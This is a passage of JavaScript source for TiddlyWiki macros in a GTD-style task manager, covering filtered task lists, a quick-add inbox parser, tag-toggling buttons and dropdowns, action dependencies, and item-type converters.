			return '<<newSavedTiddler label:+ tag:"'+tags+'">>'; // newSavedTiddler wants tags in one param?
		},

		getNewButton: function(tags,extraTags) {
			if (typeof tags != 'string')
				tags = String.encodeTiddlyLinkList(tags);
			return '<<newSavedTiddler prompt:"Enter name for new %1:" tooltip:"Create a new %1" label:"+" tag:"%0">>'.format([
					tags, // newSavedTiddler wants tags in one param?
					tags.readBracketedList()[0] // just show first tag in prompt and tooltip. it's the important one
				]); 
		},


		handler: function (place,macroName,params,wikifier,paramString,tiddler) {

			this.noActiveRealmMessage();

			var pp = paramString.parseParams("tags",null,true);

			// title of the list
			var title = getParam(pp,"title","");

			// local means only look at tiddlers tagged with this tiddler
			// global means look at every tiddler
			var tagMode = getParam(pp,"mode","local");

			// optional. ignored unless mode global. specify for speed gains
			var startTag = getParam(pp,"startTag");

			// eg, "Next && !Done"
			var tagExpr = getParam(pp,"tags","");

			// additional filter. gets eval'ed
			var whereExpr = getParam(pp,"where","");

			// group by another tag
			var groupBy = getParam(pp,"group","");

			// group by count only mode
			var groupCountOnly = getParam(pp,"groupCountOnly","");

			// filter the groups by tag expr
			var gTagExpr = getParam(pp,"gTag","");

			// or eval'ed expression
			var gWhereExpr = getParam(pp,"gWhere","");

			// how to render list items
			var viewType = getParam(pp,"view","plain");

			// how to render headings
			var gViewType = getParam(pp,"gView",groupBy);

			// if there are tiddlers who aren't grouped then give them this title
			// mainly used to label future actions...
			var leftoverTitle = getParam(pp,"leftoverTitle","No "+groupBy);

			// if set to "yes" then we ignore the realm and show everthing
			var ignoreRealm = getParam(pp, "ignoreRealm","");

			// sort items
			var sortBy = getParam(pp,"sort","title");

			// sort groups
			var gSortBy = getParam(pp,"gSort","title");

			// new button
			var newButton = getParam(pp,"newButton",""); // not using 
			var newButtonTags = getParam(pp,"newButtonTags","");

			// don't show empty list
			var dontShowEmpty = getParam(pp,"dontShowEmpty","");

			newButtonTags = newButtonTags.replace(/\[\(/g," [[").replace(/\)\]/g,"]] "); // change [(..)] to [[..]]

			if (!startTag)
				if (tagMode != "global")
					startTag = tiddler.title;

			var listRefreshContainer = createTiddlyElement(place,"div");

			// TODO one big attribute?
			listRefreshContainer.setAttribute("refresh","macro");
			listRefreshContainer.setAttribute("macroName",macroName);

			listRefreshContainer.setAttribute("title",title);
			listRefreshContainer.setAttribute("startTag",startTag);
			listRefreshContainer.setAttribute("tagMode",tagMode);
			listRefreshContainer.setAttribute("tagExpr",tagExpr);
			listRefreshContainer.setAttribute("groupBy",groupBy);
			listRefreshContainer.setAttribute("groupCountOnly",groupCountOnly);
			listRefreshContainer.setAttribute("gTagExpr",gTagExpr);
			listRefreshContainer.setAttribute("whereExpr",whereExpr);
			listRefreshContainer.setAttribute("gWhereExpr",gWhereExpr);
			listRefreshContainer.setAttribute("sortBy",sortBy);
			listRefreshContainer.setAttribute("gSortBy",gSortBy);
			listRefreshContainer.setAttribute("viewType",viewType);
			listRefreshContainer.setAttribute("gViewType",gViewType);
			listRefreshContainer.setAttribute("ignoreRealm",ignoreRealm);
			listRefreshContainer.setAttribute("leftoverTitle",leftoverTitle);
			listRefreshContainer.setAttribute("newButton",newButton);
			listRefreshContainer.setAttribute("newButtonTags",newButtonTags);
			if (tiddler)
				listRefreshContainer.setAttribute("tiddlerTitle",tiddler.title);
			listRefreshContainer.setAttribute("dontShowEmpty",dontShowEmpty);

			this.refresh(listRefreshContainer);
		},

		refresh: function(place) {

			removeChildren(place);

			var title = place.getAttribute("title");
			var startTag = place.getAttribute("startTag");
			var tagMode = place.getAttribute("tagMode");
			var tagExpr = place.getAttribute("tagExpr");
			var groupBy = place.getAttribute("groupBy");
			var groupCountOnly = place.getAttribute("groupCountOnly");
			var gTagExpr = place.getAttribute("gTagExpr");
			var whereExpr = place.getAttribute("whereExpr");
			var gWhereExpr = place.getAttribute("gWhereExpr");
			var sortBy = place.getAttribute("sortBy");
			var gSortBy = place.getAttribute("gSortBy");
			var viewType = place.getAttribute("viewType");
			var gViewType = place.getAttribute("gViewType");
			var ignoreRealm = place.getAttribute("ignoreRealm");
			var leftoverTitle = place.getAttribute("leftoverTitle");
			var newButton = place.getAttribute("newButton");
			var newButtonTags = place.getAttribute("newButtonTags");
			var tiddlerTitle = place.getAttribute("tiddlerTitle");
			var dontShowEmpty = place.getAttribute("dontShowEmpty");

			var wikifyThis = "";

			wikifyThis += "{{mgtdList{\n";

            if (title != "")
			    wikifyThis += "!" + title

			var nbTags;
			if (newButtonTags != '') {
				nbTags = [
						newButtonTags,                                  // the tags specified in the macro params
						'[['+config.macros.dGSDList.getRealm(tiddlerTitle)+']]',    // the realm. always want a realm
						(tagMode=='global'?'':'[['+tiddlerTitle+']]')   // if not global, then the add tiddler we're in, new here style
					].join(' ');


				var nbList = nbTags.readBracketedList();

				var nbExtra = nbTags;

				// also we want an area. another hack. darn you subprojects.. :)
				if (nbList.contains('Project') && !nbList.containsAny(fastTagged('Area').toTitleList())) {
					var foo = store.fetchTiddler(tiddlerTitle).getByIndex('Area');
					if (foo.length > 0) {
						nbExtra += ' [[' + foo[0] + ']]';
					}
				}

				if (nbList.contains('Project') && !nbList.containsAny(fastTagged('ProjectStatus').toTitleList())) {
					// stupid hack for subprojects list in project dashboards
 					// don't want to create a project with no status
					// this is the hack:
					nbExtra += ' Active';
				}

				// same hack thing for actions
				if (nbList.contains('Action') && !nbList.containsAny(fastTagged('ActionStatus').toTitleList())) {
					nbExtra += ' Next';
				}

				wikifyThis += this.getNewButton(nbExtra);
				// but still use nbTags later on in group headings...

			}

            if (title != "" || newButton != "")
			    wikifyThis += "\n";

			wikifyThis += "{{innerList{\n";

			var checkForContent = wikifyThis;

			var theList = [];
			if (startTag && startTag != 'undefined'/* this sucks */) {
				theList = fastTagged(startTag);
			}
			else {
				// why so hard to get an array of all tiddlers?
				store.forEachTiddler(function(t_title,t_tiddler) { theList.push(t_tiddler); });
			}


			if (tagExpr != "") theList = theList.filterByTagExpr(tagExpr);
			if (whereExpr != "") theList = theList.filterByEval(whereExpr);

			if (ignoreRealm != "yes") {
				var activeRealms = config.macros.dGSDList.getActiveRealms();
				theList = theList.select(function(t) {
					var realm = t.getByIndex("Realm");
					return (
						realm.length == 0 ||  // so something with no realm shows up
						realm.containsAny(activeRealms)
					);
				});
			}

            if (groupBy == "day") {
                // experimental. changing a tag doesn't update modified so
                // this isn't as useful
                theList = theList.groupBy(function(t){return [t.modified.formatString('YYYY-0MM-0DD')];});
				wikifyThis += theList.renderGrouped(viewType,gViewType,leftoverTitle);
            }
			else if (groupBy != "") {
				theList = theList.groupByTag(groupBy,sortBy,gSortBy);
				if (gTagExpr != "") theList = theList.filterGroupsByTagExpr(gTagExpr);
				if (gWhereExpr != "") theList = theList.filterGroupsByEval(gWhereExpr);
				wikifyThis += theList.renderGrouped(viewType,gViewType,leftoverTitle,null,groupCountOnly,nbTags);
			}
			else {
				theList = theList.tiddlerSort(sortBy);
				wikifyThis += theList.render(viewType);
			}

			var emptyList = false;
			if (wikifyThis == checkForContent) {
				emptyList = true;
				wikifyThis += "{{none{none}}}";
			}

			wikifyThis += "}}}\n";
			wikifyThis += "}}}\n";

			if (!(dontShowEmpty == "yes" && emptyList))
				wikify(wikifyThis,place,null,tiddler);

			//forceReflow(); // fixes rendering issues. (but probably doubles up rendering time??)

		}

	}

});

merge(config.macros,{
	processInbox: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {

			var shortHand = {
				Action: {
					'W': 'Waiting For',
					'N': 'Next',
					'F': 'Future',
					'S': 'Starred'
				},
				Project: {
					'A': 'Active',
					'SM': 'Someday/Maybe',
					'S': 'Starred'
				}
			};

			wikify("Quick add projects and actions (See [[About Quick Add]] for more info):\n",place);
			var pi = createTiddlyElement(place,"textarea",null,"piBox");
			
			wikify("\n",place);

			var a1 = createTiddlyCheckbox(place,"Open created projects",true,null);
			a1.id = 'piShowProjects';

			var a2 = createTiddlyCheckbox(place,"Open created actions",true,null);
			a2.id = 'piShowActions';

			wikify("\n",place);

			var btn = createTiddlyButton(place,"quick add now","create these items",function(e) {
				var lines = pi.value.split("\n");
				var currentProject = "";
				var displayThese = [];

				for (var i=0;i<lines.length;i++) {

					var fields_and_text = lines[i].trim().split(/[|;]{2}/); // anything after || is to become tiddler content
					

					var fields = fields_and_text[0].trim().split(/[|;]/);
					var tiddlerText = fields_and_text[1];


					if (!fields[0] || fields[0].trim() == "") {
						currentProject = "";
					}
					else {

						var title = fields.shift();
						//alert(title);

						// add the realm
						fields.push(config.macros.mgtdList.getRealm());

						if (title.substr(0,1) != '.') {

							//alert("project "+title);

							currentProject = title;

							if (document.getElementById('piShowProjects').checked)
								displayThese.push(title);

							fields.push("Project"); // make it a project
							//fields.push("Active"); // make it active

							if (!fields.containsAny(['SM','A']))
								fields.push('A');

							fields = fields.map(function(f) {
								if (shortHand['Project'][f])
									return shortHand['Project'][f];
								else
									return f;
							});

							if (store.tiddlerExists(title))
								alert("Warning: '"+title+"' already exists, did not create");
							else
								store.saveTiddler(
									title,title,
									tiddlerText ? tiddlerText : "", // content
									config.options.txtUserName,
									new Date(),
									fields, // tags
									null // extra fields
								);
						}
						else {
							//alert("action "+title);

							// default to next actions
							if (!fields.containsAny(['N','F','W']))
								fields.push('N');

							fields = fields.map(function(f) {
								if (shortHand['Action'][f])
									return shortHand['Action'][f];
								else
									return f;
							});

							//alert("action "+title);
							title = title.trim();
							title = title.replace(/^\.+/,'');

							// If the action is already existing
							// let's presume that we want to create it as a unique action.
							// Use some code from NewMeansNewPlugin.
							if (config.macros.newTiddler.getName)
								title = config.macros.newTiddler.getName(title);

							if (document.getElementById('piShowActions').checked)
								displayThese.push(title);

							fields.push("Action"); // make it an action 
							if (currentProject.trim() != "")
								fields.push(currentProject); // make it in this project

							// these should be configurable
							var automagicContexts = {
								'Call':'call',
								'Errand':'buy'
							};
							for (amc in automagicContexts) {
								var checkExists = store.fetchTiddler(amc);
								var startString = automagicContexts[amc];
								if (title.substr(0,startString.length).toLowerCase() == startString && checkExists && checkExists.hasTag('Context')) {
									fields.push(amc);
								}
							}

							if (store.tiddlerExists(title))
								alert("Warning: '"+title+" already exists, did not create");
							else
								store.saveTiddler(
									title,title,
									tiddlerText ? tiddlerText : "", // content
									config.options.txtUserName,
									new Date(),
									fields, // tags
									null // extra fields
								);
						}
					}
				}

				for (var ii=0;ii<displayThese.length;ii++)
					story.displayTiddler("bottom",displayThese[ii]);

				displayMessage("Quick add items created");

				// Clear the quick add text area and close the slider. (jQuery anyone?)
				jQuery(pi).val('');
				jQuery(pi).closest('.sliderPanel').hide();

				return false;
			}); // end of createTiddlyButton

			// A button to clear the textarea
			createTiddlyButton(place,"clear","Clear text",function(){ jQuery(pi).val(''); });

			// A button to close the slider
			createTiddlyButton(place,"close","Close Quick Add",function(){ jQuery(pi).closest('.sliderPanel').hide(); });

		}
	}
});

//{{{

// Note: Tweaked from stock, for dGSD - some not yet merged into dGSDCommonPlugin
// requires MgtdIndexedTags for the fastTagged and getByIndex methods
// TODO make these usable without MgtdIndexedTags if it doesn't exist

merge(Tiddler.prototype,{


	addTag: function(tag) {
		store.setTiddlerTag(this.title,true,tag);
	},

	removeTag: function(tag) {
		store.setTiddlerTag(this.title,false,tag);
	},

	setTagFromGroup: function(tagGroup,tag) {
		var tagList = fastTagged(tagGroup);

		// it goes slow if you don't do this
		store.suspendNotifications();

		// remove all the tags in the group
		for (var i=0;i<tagList.length;i++)
			this.removeTag(tagList[i].title);

		// add the one selected
		if (tag)
			this.addTag(tag);

		// touch the modified date so we can sort usefully
		this.modified = new Date();

		// resume notification and notify
		store.resumeNotifications();
		store.notify(this.title,true);
                store.notifyAll();
                refreshDisplay();
	},

	toggleTag: function(tag) {
		//alert("Setting tag: "+tag+" on tidder: "+this.title);
		store.setTiddlerTag(this.title,!this.hasTag(tag),tag);
		// touch the modified date
		this.modified = new Date();
	},

	hasTag: function(tag) {
		return this.tags.contains(tag);
	},

	getParent: function(tag) {
		return this.getByIndex(tag);
	},

	// experimental
	getGrandParent: function(parentTag,grandParentTag) {
		// eg tiddler.getGrandParent('Project','Area') ??
		var result = [];
		this.getByIndex(parentTag).each(function(parentTiddler){
			// because can be multiple
			store.fetchTiddler(parentTiddler).getByIndex(grandParentTag).each(function(grandParentTiddler){
				result.push(grandParentTiddler);
			});
		});
		return result;
	},

	// experimental. does this belong elsewhere?
	actionInArea: function(area) {
		//return this.getParent(area).contains(area) || this.getGrandParent('Project','Area').contains(area);
		return this.getGrandParent('Project','Area').contains(area);
	},

//-----------------------------------

	// experimental. try action dependencies

	actionsDependantOnThisAction: function() {
		return fastTagged(this.title).filterByTagExpr("Action && (Future || Next) && !Done");
	},

	autoNextAnyWaitingActions: function() {
		// XXX exactly what each am I using here?
		// because it looks like this gets munged
		// inside the each function. this makes me think
		// i'm not using the each i think i'm using
		// eek.
		var thisTiddler = this;
		this.actionsDependantOnThisAction().each(function(t){
			if (thisTiddler.hasTag('Done')) {
				if (t.actionCanBecomeNext()) {
					// we still have to check because it might have multiple dependencies
					if (!t.hasTag('Next')) {
						t.setTagFromGroup('ActionStatus','Next');
						displayMessage('Setting dependent action "' + t.title + '" to Next');
                                                store.notifyAll();
                                                refreshDisplay();
					}
				}
			}
			else {
				// this is because what if we go in reverse, ie untick the done checkbox
				// also why we need Future || Next in actionsDependantOnThisAction
				// don't need to check anything because any one dependency is enough to trigger going back to Future
				if (!t.hasTag('Future')) {
					t.setTagFromGroup('ActionStatus','Future');
					displayMessage('Setting dependent action "' + t.title + '" to Future');
                                        store.notifyAll();
                                        refreshDisplay();
				}
			}
		});
	},

	actionGetDependencies: function() {
		// an action with a parent action
		// we will take to mean that the parent action
		// must be done before this action
		// can become a next action
		return this.getParent('Action');
	},

	actionCanBecomeNext: function() {
		var result = true;
		this.actionGetDependencies().each(function(t){
			if (!store.fetchTiddler(t).hasTag('Done')) {
				// an action this action depends on is not done
				result = false;
			}
		});
		return result;
	},

//-----------------------------------

	hasParent: function(tag) {
		return this.getParent(tag).length > 0;
	},

	realmMismatchWithParent: function(tag) {
		var myRealm = this.getParent('Realm')[0];

		if (!myRealm)
			return true; // no realm, should be fixed..

		var myParent = this.getParent(tag)[0];
		if (!myParent)
			return false; // nothing to be mismatched with

		var parentTiddler = store.fetchTiddler(this.getParent(tag)[0]);
		if (!parentTiddler)
			return true; // doubt it would ever happen but...

		parentRealm = parentTiddler.getParent('Realm')[0]; // we assume one realm only...
		if (!parentRealm)
			return true;

		return parentRealm != myRealm;
	}

});

merge(config.macros,{
	
	singleToggleTag: {

		handler: function(place,macroName,params,wikifier,paramString,tiddler) {

			var pp = paramString.parseParams("tag",null,true);
			
			if (!tiddler)
				tiddler = store.getTiddler(getParam(pp,"title"));
			
			var tag = getParam(pp,"tag");
			var t = store.fetchTiddler(tag);

			var title = getParam(pp,"title",tiddler.title);


			var actOnTiddler = store.getTiddler(title);

			var label = store.getTiddlerSlice(t.title,"button");
			var labelOff = store.getTiddlerSlice(t.title,"buttonOff");

			// dreadful hack
			if (tag == "Starred")
				label = config.dGSD.data.unicodeStar;

			var autoClass = "button " + t.title.replace(/[\/ ]/g,'') 

			if (!label) label = t.title;
			if (!labelOff) labelOff = label;


			var curState = actOnTiddler.hasTag(tag);

			var cl = createTiddlyButton(place, curState?label:labelOff, t.title, function(e) {
					actOnTiddler.toggleTag(tag);
                                        store.notifyAll();
                                        refreshDisplay();
					return false;
				},
				autoClass + " " + (curState ? "on" : "off")
				);
		}
		
	},

	groupOfSingleToggleTags: {

		handler: function(place,macroName,params,wikifier,paramString,tiddler) {

			var pp = paramString.parseParams("tag",null,true);

			var useCheckbox = getParam(pp,"useCheckbox","");
			
			if (!tiddler)
				tiddler = store.getTiddler(getParam(pp,"title"));
			
			var tag = getParam(pp,"tag");

			var title = getParam(pp,"title",tiddler.title);
			var refresh = getParam(pp,"refresh"); // stupid bit for pagetemplate hack

			var includeNew = getParam(pp,"includeNew","yes"); 

			var actOnTiddler = store.getTiddler(title);

			//// TODO: refactor. (This realm filtering is copy/pasted this from multiSelectTag...)
			//the extra || condition below should take care of contexts now. so actually you can have realm specific contexts if you want
			var thisRealm = tiddler.getParent('Realm')[0];
			var filterRealm = "";
			if (thisRealm && tag != "Realm") { // && tag != "Context") {
				// only want to see things in my realm (or things that don't have a realm...)
				filterRealm += "(tiddler.tags.contains('"+thisRealm.replace(/'/g,"\\'")+"') || !tiddler.hasParent('Realm'))";
			}

			var getValues = fastTagged(tag).filterByEval(filterRealm == '' ? 'true' : filterRealm).sort(function(a,b){
				return a.sorterUtil(b,"orderSlice");
			});

			getValues.each(function(t) {

				var label = store.getTiddlerSlice(t.title,"button");
				var autoClass = "button " + t.title.replace(/[\/ ]/g,'') 

				if (!label)
					label = t.title;

				if (useCheckbox == "yes") {
					// checkbox style toggle tags
					wikify("<<toggleTag [["+t.title+"]] [["+tiddler.title+"]] ->>[["+label+"]]&nbsp;" ,place,null,tiddler);
				}
				else {
					// button style toggle tags
					var cl = createTiddlyButton(place, label, t.title, function(e) {
							actOnTiddler.toggleTag(t.title);
                                                        store.notifyAll();
                                                        refreshDisplay();
							return false;
						},
						autoClass + " " + (actOnTiddler.getByIndex(tag).contains(t.title) ? "on" : "off")
						);
			 	}
			 });

			 if (includeNew == "true" || includeNew == "yes") {
			 	// add a button to create...
				createTiddlyButton(place, "+", "New "+tag+"...", function(e) {
						var newItemTitle = config.macros.multiSelectTag.createNewItem(tag);
						if (newItemTitle) {
							actOnTiddler.addTag(newItemTitle);
                                                        store.notifyAll();
                                                        refreshDisplay();
                                                }
						return false;
					},
					tag == "Realm"?"button off":"button" // the class so it looks right in the top menu
				);
			 }
		}
		
	},

	multiToggleTag: {

		handler: function(place,macroName,params,wikifier,paramString,tiddler) {

			var pp = paramString.parseParams("tag",null,true);
			
			if (!tiddler)
				tiddler = store.getTiddler(getParam(pp,"title"));
			
			var tag = getParam(pp,"tag");

			var refresh = getParam(pp,"refresh"); // stupid bit for pagetemplate hack
			var longVersion = getParam(pp,"longVersion");

			var title = getParam(pp,"title",tiddler.title);
			var actOnTiddler = store.getTiddler(title);

			var getValues = fastTagged(tag).sort(function(a,b){
				return a.sorterUtil(b,"orderSlice");
			});


			getValues.each(function(t) {
				var label = store.getTiddlerSlice(t.title,longVersion?"buttonLong":"button");

				var extraClass = store.getTiddlerSlice(t.title,"buttonClass");
				var autoClass = (extraClass ? extraClass : "") + " button " + t.title.replace(/[\/ ]/g,'') 
				if (!label) label = t.title;
				var cl = createTiddlyButton(place, label, t.title, function(e) {
						actOnTiddler.setTagFromGroup(tag,t.title);
                                                store.notifyAll();
                                                refreshDisplay();
						return false;
					},
					autoClass + " " + (actOnTiddler.getByIndex(tag).contains(t.title) ? "on" : "off")
					);
			});

		}
	},

	multiSelectTag: {

		handler: function(place,macroName,params,wikifier,paramString,tiddler) {

			var pp = paramString.parseParams("tag",null,true);
			
			if (!tiddler)
				tiddler = store.getTiddler(getParam(pp,"title"));
			
			var tag = getParam(pp,"tag");
			var refresh = getParam(pp,"refresh"); // stupid bit for pagetemplate hack

			var allowNone = getParam(pp,"allowNone");

			var includeNew = getParam(pp,"includeNew","yes");

			var title = getParam(pp,"title",tiddler.title);
			var actOnTiddler = store.getTiddler(title);

			var selectOptions = [];

			if (allowNone)
				selectOptions.push({name: null, caption:'-'});// TODO this doesn't work right?

			if (includeNew == "true" || includeNew == "yes")
				selectOptions.push({name: '__new__', caption:'New '+tag+'...'});

			var getValues = fastTagged(tag).sort(function(a,b){
				return a.sorterUtil(b,"orderSlice");
			});


			// a few automagic filters should make life easier

			var thisRealm = tiddler.getParent('Realm')[0];

			var filterRealm = "";
			var filterComplete = "";

			//the extra || condition below should take care of contexts now. so actually you can have realm specific contexts if you want
			if (thisRealm && tag != "Realm") { // && tag != "Context") {
				// only want to see things in my realm (or things that don't have a realm...)
				filterRealm += "(tiddler.tags.contains('"+thisRealm.replace(/'/g,"\\'")+"') || !tiddler.hasParent('Realm'))";
			}

			if (tag == "Project") {
				// only want to see active projects
				filterComplete += "!tiddler.tags.contains('Complete')";
			}

			// Big thanks to Kralik and whoever wrote this: http://tiddlywiki.org/wiki/MonkeyGTD/Customization_Guide/Waiting_Actions
			if (tag == "Action") {
				// only want to see active actions; actions only show other actions in same project (or no project)
				if (tiddler.hasParent('Project')) {
					// XXX slightly broken for actions with multiple projects. But i can live with it..
					// note: getParent returns an array
					filterComplete += "(!tiddler.tags.contains('Done') && tiddler.tags.contains('"+tiddler.getParent('Project')[0].replace(/'/g,"\\'")+"'))";
				}
				else {
					filterComplete += "(!tiddler.tags.contains('Done') && !tiddler.hasParent('Project'))"; 
				}

			}

			var filterExpr = "true";

			if (filterRealm != "" && filterComplete != "") {
				filterExpr = filterRealm + " && " + filterComplete;
			}
			else if (filterRealm !=  "") {
				filterExpr = filterRealm;
			}
			else if (filterComplete !=  "") {
				filterExpr = filterComplete;
			}
			// ...yuck

			// exclude ourselves (needed now for action dependencies)
			filterExpr = "((" + filterExpr + ") && (tiddler.title != '" + tiddler.title.replace(/'/g,"\\'") + "'))";
			
			var currentVal = tiddler.getParent(tag)[0];
			if (currentVal && currentVal != '') {
				// prevent weirdness if the current value isn't in the list
				// eg an action in a completed project
				filterExpr = "(" + filterExpr + ") || tiddler.title == '" + currentVal.replace(/'/g,"\\'") + "'";

			}
			if (tag == "Project" && tiddler.hasTag('Project')) {
				// special case: don't let a project be a subproject of itself
				filterExpr = "(" + filterExpr + ") && tiddler.title != '" + tiddler.title.replace(/'/g,"\\'") + "'";
			}

			// okay now do the filtering
			getValues = getValues.filterByEval(filterExpr);

			getValues.each(function(t) {
				var useTitle = store.getTiddlerSlice(t.title,"button");
				if (!useTitle) useTitle = t.title;
				if (useTitle.length > 50) useTitle = useTitle.substr(0,50) + "...";
				selectOptions.push({name: t.title, caption:useTitle});
			});

			var dd = createTiddlyDropDown(place, function(e) {
					var selectedItem = selectOptions[this.selectedIndex].name;
					if (selectedItem == '__new__') {
						// User is creating a new item on the fly via the dropdown
						var realm = null;
						if (tag != "Realm") {
							// Keep from double tagging in silly ways. Don't want realms to have a realm...
							if (actOnTiddler.hasParent('Realm')) {
								realm = actOnTiddler.getParent('Realm')[0]; // getParent returns array. use first realm
							}
							else {
								realm = config.macros.dGSDList.getRealm();
							}
						}
						selectedItem = config.macros.multiSelectTag.createNewItem(tag, realm);
					}

					// if selectedItem is null this works to remove any
					actOnTiddler.setTagFromGroup(tag,selectedItem);

					// Once again, big thanks to Kralik and whoever wrote this: http://tiddlywiki.org/wiki/MonkeyGTD/Customization_Guide/Waiting_Actions
					// automatically make dependent actions future
					if (tag == "Action") {
						if (selectedItem == null) {
							actOnTiddler.setTagFromGroup("ActionStatus", "Next");
						}
						else {
							actOnTiddler.setTagFromGroup("ActionStatus", "Future");
						}
					}

                                        store.notifyAll();
                                        refreshDisplay();
					return false;
				},
				selectOptions,
				actOnTiddler.getByIndex(tag)[0]
			);

		},

		// want to reuse this...
		createNewItem: function(tag, realm) {
			var selectedItem = prompt("Enter name for new "+tag+":","");
			if (selectedItem) {
				selectedItem = config.macros.newTiddler.getName(selectedItem); // from NewMeansNewPlugin
				var tags = [];
				tags.push(tag); // make it into the thing you want
				if (realm) // make sure it's got a realm unless it IS a realm
					tags.push(realm);
				if (tag == "Project")
					tags.push("Active"); // if it's a project then make it active...
				if (tag == "Action")
					tags.push("Next"); // if it's an action then make it next...
				store.saveTiddler(selectedItem,selectedItem,"",config.options.txtUserName,new Date(),tags);
                                store.notifyAll();
                                refreshDisplay();
			}
			return selectedItem;
		}


	},

	multiCheckboxTag: {

		handler: function(place,macroName,params,wikifier,paramString,tiddler) {

			var pp = paramString.parseParams("tag",null,true);
			
			if (!tiddler)
				tiddler = store.getTiddler(getParam(pp,"title"));
			
			var tag = getParam(pp,"tag");

			var title = getParam(pp,"title",tiddler.title);
			var actOnTiddler = store.getTiddler(title);

			var getValues = fastTagged(tag).sort(function(a,b){
				return a.sorterUtil(b,"orderSlice");
			});

			var output = "";
			getValues.each(function(t) {
				output += "<<toggleTag [[%0]] [[%1]] [[%0]]>>".format([
					t.title,
					actOnTiddler.title
				]);
			});

			wikify(output,place,null,tiddler);

		}
	},

	// these don't really belong here but never mind..
	convertToFromTickler: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			if (tiddler.tags.contains('Tickler')) {

				createTiddlyButton(place, "make action", "make this tickler into a next action", function(e) {
						store.suspendNotifications();
						tiddler.removeTag("Tickler");                      
						tiddler.addTag("Action");                      
						tiddler.removeTag("Done");                     
						tiddler.setTagFromGroup("ActionStatus","Next"); 
						store.resumeNotifications();
						store.notify(tiddler.title,true);
                                                store.notifyAll();
                                                refreshDisplay();
						return false;
					});

				createTiddlyButton(place, "make project", "make this tickler into an active project", function(e) {
						store.suspendNotifications();
						tiddler.removeTag("Tickler");                      
						tiddler.addTag("Project");                       
						tiddler.removeTag("Complete");                   
						tiddler.setTagFromGroup("ProjectStatus",'Active');
						store.resumeNotifications();
						store.notify(tiddler.title,true);
                                                store.notifyAll();
                                                refreshDisplay();
						return false;
					});
			}
			if (tiddler.tags.containsAny(['Action','Project'])) {
				createTiddlyButton(place, "make tickler", "make this item into a tickler", function(e) {
						store.suspendNotifications();
						if (tiddler.hasTag("Project")) {
							// a little trick. it makes any actions associated with this project disappear from action lists
							// thanks to Jorge A. Ramos M.
							tiddler.setTagFromGroup("ProjectStatus",'Someday/Maybe');
						}
						tiddler.removeTag("Action");
						tiddler.removeTag("Project");
						tiddler.addTag("Tickler");                          
						if (!tiddler.tags.containsAny(['Daily','Weekly','Monthly','Yearly'])) {
							// thanks Kyle Baker
							tiddler.addTag("Once");
						}
						store.resumeNotifications();
						store.notify(tiddler.title,true);
                                                store.notifyAll();
                                                refreshDisplay();
						return false;
					});
			}
		}
	},

	convertActionToSubProj: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			if (tiddler.tags.contains('Action')) {

				createTiddlyButton(place, "make project", "make this action into a project", function(e) {
						store.suspendNotifications();
						tiddler.removeTag("Action");                      
						tiddler.removeTag("Next");                     
						tiddler.removeTag("Future");                     
						tiddler.removeTag("Waiting For");                     
						tiddler.removeTag("Done");                     
						tiddler.addTag("Project");                      
						tiddler.addTag("Active");                      
						store.resumeNotifications();
						store.notify(tiddler.title,true);
                                                store.notifyAll();
                                                refreshDisplay();
						return false;
					});

			}
		}
	},


	convertActionToReference: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			if (tiddler.tags.contains('Action')) {

				createTiddlyButton(place, "make reference", "make this action into a reference item", function(e) {
						store.suspendNotifications();
						tiddler.removeTag("Action");                      
						tiddler.removeTag("Next");                     
						tiddler.removeTag("Future");                     
						tiddler.removeTag("Waiting For");                     
						tiddler.removeTag("Done");                     
						tiddler.addTag("Reference");                      
						store.resumeNotifications();
						store.notify(tiddler.title,true);
                                                store.notifyAll();
                                                refreshDisplay();
						return false;
					});

			}
		}
	},


	linkToParent: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			var label = params[1] ? params[1] : '>>';
			var useTiddler = params[2] ? store.fetchTiddler(params[2]) : tiddler;
			var links = useTiddler.getByIndex(params[0]);
			var output = "";
			for (var i=0;i<links.length;i++)
				output += ( (i==0?'':' ') + "[[%1|%0]]".format([links[i], label == 'title' ? '['+links[i]+']' : label]) );
			if (output != "")
				wikify(output,place,null,useTiddler);
		}
	},

	// doesn't belong here since it's not a tag thing..
	deleteTiddler: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			var tiddlerToDelete = params[0];
			if (store.tiddlerExists(tiddlerToDelete)) {
				createTiddlyButton(place, '\u00d7', 'Delete tiddler '+tiddlerToDelete, function(e) {
					var deleteIt = true;
					if (config.options.chkConfirmDelete)
						deleteIt = confirm(config.commands.deleteTiddler.warning.format([tiddlerToDelete]));
					if (deleteIt) {
						story.closeTiddler(tiddlerToDelete);
						store.removeTiddler(tiddlerToDelete);
                                                store.notifyAll();
                                                refreshDisplay();
					}
					return false;
				},'deleteTiddlerButton');
			}
		}
	},

	// contributed by ByteDoc
	showNotesIcon: {

		imageData: "data:image/gif;base64,R0lGODlhDgAOAKU3AHJcM21cQnFhRYBkLXVlSHdoS3hpTH5sQXxtUYpvNMeKCcuRD9CZBdKbGuCbAM+iEtWkHtmmELiqgb+tgeSsPMCwgt6wLMOyhMa1hd22O+m2OM68iuK/QOy8UdHBjOzEKdfGk/XJKujJVPbNZP7RNezRdvTTZf3SbP/Zc/HejPXkfP/jfvfln//ogv7uiPjvsv/1j/v1x///mf//qv/72v//xP//zP///////////////////////////////////yH5BAEKAD8ALAAAAAAOAA4AAAZ6QJBw6PFsNheJEkSz1Z7QKAIUm1mv2BkC85J5v2CZ4cKCmc9omKGScrnfcFdhUmrZ7/hWQdJRrf6AgQQSGRwZFg8mgX+DIgwhHwwcKyiVlQISIxYRJCENlpaYJ5oLDg4WKCeWARKqJxoQEAoQFB22rAe5CQkDvb0AwEEAOw==",

		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			var useTiddler = params[0] ? store.fetchTiddler(params[0]) : tiddler;
			if (useTiddler.text != "") {
				var safeNoteContent = wikifyPlain(useTiddler.title).trim().replace(/[\[\]\|]/g,'');
				var noteOutput = (safeNoteContent == "") ?
					"{{showNotesIcon{[img[%0]]}}}".format([config.macros.showNotesIcon.imageData]) :
					"{{showNotesIcon{[img[%1|%0]]}}}".format([config.macros.showNotesIcon.imageData,safeNoteContent]);
				var output = (config.browser.isIE ?  "(n)" : noteOutput); // because IE doesn't support data urls
				wikify(output,place,null,useTiddler);
			}
		}
	}

});

